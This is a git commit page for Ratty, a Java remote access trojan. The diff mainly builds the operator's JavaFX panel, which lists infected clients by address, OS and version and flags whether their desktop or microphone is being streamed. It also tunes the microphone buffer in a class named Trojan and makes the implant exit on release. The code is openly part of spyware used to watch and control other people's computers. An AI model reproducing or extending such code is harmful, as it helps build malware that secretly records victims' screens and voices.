Browse Source

Minor changes

Developed the new GUI further
master
Sogomn 9 years ago
parent
commit
4fb6bd6e96
  1. 14
      Ratty/res/main_gui.fxml
  2. 24
      Ratty/res/test.css
  3. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  4. 2
      Ratty/src/de/sogomn/rat/packet/FreePacket.java
  5. 88
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java
  6. 6
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

14
Ratty/res/gui.fxml → Ratty/res/main_gui.fxml

@ -4,7 +4,7 @@
<?import java.lang.*?>
<?import javafx.scene.layout.*?>
<BorderPane fx:id="pane" xmlns="http://javafx.com/javafx/8" xmlns:fx="http://javafx.com/fxml/1">
<BorderPane fx:id="pane" xmlns="http://javafx.com/javafx/8" xmlns:fx="http://javafx.com/fxml/1" fx:controller="de.sogomn.rat.server.gui.RattyGuiFx">
<bottom>
<HBox fx:id="bottom" BorderPane.alignment="CENTER">
<children>
@ -15,12 +15,12 @@
<center>
<TableView fx:id="table" editable="true" BorderPane.alignment="CENTER">
<columns>
<TableColumn editable="false" prefWidth="75.0" text="%column.name" />
<TableColumn editable="false" prefWidth="75.0" text="%column.address" />
<TableColumn editable="false" prefWidth="75.0" text="%column.os" />
<TableColumn editable="false" prefWidth="75.0" text="%column.version" />
<TableColumn editable="false" prefWidth="75.0" text="%column.desktop" />
<TableColumn editable="false" prefWidth="75.0" text="%column.voice" />
<TableColumn fx:id="name" editable="false" prefWidth="75.0" text="%column.name" />
<TableColumn fx:id="address" editable="false" prefWidth="75.0" text="%column.address" />
<TableColumn fx:id="os" editable="false" prefWidth="75.0" text="%column.os" />
<TableColumn fx:id="version" editable="false" prefWidth="75.0" text="%column.version" />
<TableColumn fx:id="desktop" editable="false" prefWidth="75.0" text="%column.desktop" />
<TableColumn fx:id="voice" editable="false" prefWidth="75.0" text="%column.voice" />
</columns>
<columnResizePolicy>
<TableView fx:constant="CONSTRAINED_RESIZE_POLICY" />

24
Ratty/res/test.css

@ -0,0 +1,24 @@
* {
-fx-base: #aaaaaa;
-fx-background-insets: 0px;
}
.table-view .column-header:hover {
-fx-effect: innershadow(gaussian, #ffffff, 5, 0, 0, 0);
}
.table-view .column-header:pressed {
-fx-effect: innershadow(gaussian, #000000, 5, 0, 0, 0);
}
.button {
-fx-background-radius: 0px;
}
.button:hover {
-fx-effect: innershadow(gaussian, #ffffff, 5, 0, 0, 0);
}
.button:pressed {
-fx-effect: innershadow(gaussian, #000000, 3, 0, 0, 0);
}

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -8,7 +8,7 @@ public final class Trojan implements IClientObserver {
private VoiceRecorder voiceRecorder;
private byte[] lastData;
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8;
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 6;
public Trojan() {
voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE);

2
Ratty/src/de/sogomn/rat/packet/FreePacket.java

@ -22,6 +22,8 @@ public final class FreePacket implements IPacket {
public void execute(final ActiveClient client) {
client.setObserver(null);
client.close();
System.exit(0);
}
}

88
Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java

@ -1,7 +1,7 @@
package de.sogomn.rat.server.gui;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.util.Locale;
import java.util.ResourceBundle;
@ -11,44 +11,55 @@ import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.HBox;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.stage.Stage;
import de.sogomn.rat.Ratty;
public final class RattyGuiFx extends Application {
@FXML
private BorderPane pane;
private Stage stage;
@FXML
private TableView<ServerClient> table;
@FXML
private HBox bottom;
private TableColumn<ServerClient, String> name;
@FXML
private TableColumn<ServerClient, String> address;
@FXML
private TableColumn<ServerClient, String> os;
@FXML
private TableColumn<ServerClient, String> version;
@FXML
private Button builder;
private TableColumn<ServerClient, Boolean> desktop;
@FXML
private TableColumn<ServerClient, Boolean> voice;
private static final int WIDTH = 800;
private static final int HEIGHT = 600;
private static final String TITLE = "Ratty";
private static final String FXML_PATH = "/main_gui.fxml";
private static final String CSS_PATH = "/test.css";
private static final String FXML_PATH = "/gui.fxml";
private static final String LANGUAGE_BASE = "language.language";
private static final String NAME = "name";
private static final String ADDRESS = "address";
private static final String OS = "os";
private static final String VERSION = "version";
private static final String DESKTOP = "desktop";
private static final String VOICE = "voice";
public RattyGuiFx() {
//...
}
private Parent loadContent(final String path, final ResourceBundle bundle) {
final FXMLLoader loader = new FXMLLoader();
loader.setResources(bundle);
private Parent loadContent(final String path, Locale locale) {
final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, locale);
try {
final InputStream in = Ratty.class.getResourceAsStream(path);
final Parent content = loader.load(in);
final URL url = Ratty.class.getResource(path);
final Parent content = FXMLLoader.load(url, bundle);
return content;
} catch (final IOException ex) {
@ -58,20 +69,55 @@ public final class RattyGuiFx extends Application {
}
}
@FXML
private void initialize() {
final PropertyValueFactory<ServerClient, String> nameFactory = new PropertyValueFactory<ServerClient, String>(NAME);
final PropertyValueFactory<ServerClient, String> addressFactory = new PropertyValueFactory<ServerClient, String>(ADDRESS);
final PropertyValueFactory<ServerClient, String> osFactory = new PropertyValueFactory<ServerClient, String>(OS);
final PropertyValueFactory<ServerClient, String> versionFactory = new PropertyValueFactory<ServerClient, String>(VERSION);
final PropertyValueFactory<ServerClient, Boolean> desktopFactory = new PropertyValueFactory<ServerClient, Boolean>(DESKTOP);
final PropertyValueFactory<ServerClient, Boolean> voiceFactory = new PropertyValueFactory<ServerClient, Boolean>(VOICE);
name.setCellValueFactory(nameFactory);
address.setCellValueFactory(addressFactory);
os.setCellValueFactory(osFactory);
version.setCellValueFactory(versionFactory);
desktop.setCellValueFactory(desktopFactory);
voice.setCellValueFactory(voiceFactory);
}
@Override
public void start(final Stage primaryStage) throws Exception {
final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, Locale.ENGLISH);
final Parent content = loadContent(FXML_PATH, bundle);
final Scene scene = new Scene(content);
final Parent root = loadContent(FXML_PATH, Locale.ENGLISH);
final Scene scene = new Scene(root);
final ObservableList<String> styleSheets = scene.getStylesheets();
styleSheets.add(CSS_PATH);
primaryStage.setWidth(WIDTH);
primaryStage.setHeight(HEIGHT);
primaryStage.setTitle(TITLE);
primaryStage.setScene(scene);
primaryStage.show();
System.out.println(builder);
stage = primaryStage;
}
public void changeLanguage(final Locale locale) {
if (stage == null) {
return;
}
final Parent root = loadContent(FXML_PATH, locale);
final Scene scene = stage.getScene();
scene.setRoot(root);
}
public void addRow(final ServerClient serverClient) {
final ObservableList<ServerClient> items = table.getItems();
items.add(serverClient);
}
public static void main(final String[] args) {

6
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -6,14 +6,14 @@ import de.sogomn.rat.ActiveClient;
public final class ServerClient {
private final SimpleStringProperty name, os, version;
private final SimpleBooleanProperty streamingDesktop, streamingVoice;
private boolean loggedIn;
private DisplayPanel displayPanel;
private FileTreePanel treePanel;
final SimpleStringProperty name, os, version;
final SimpleBooleanProperty streamingDesktop, streamingVoice;
final ActiveClient client;
public ServerClient(final ActiveClient client) {

Loading…
Cancel
Save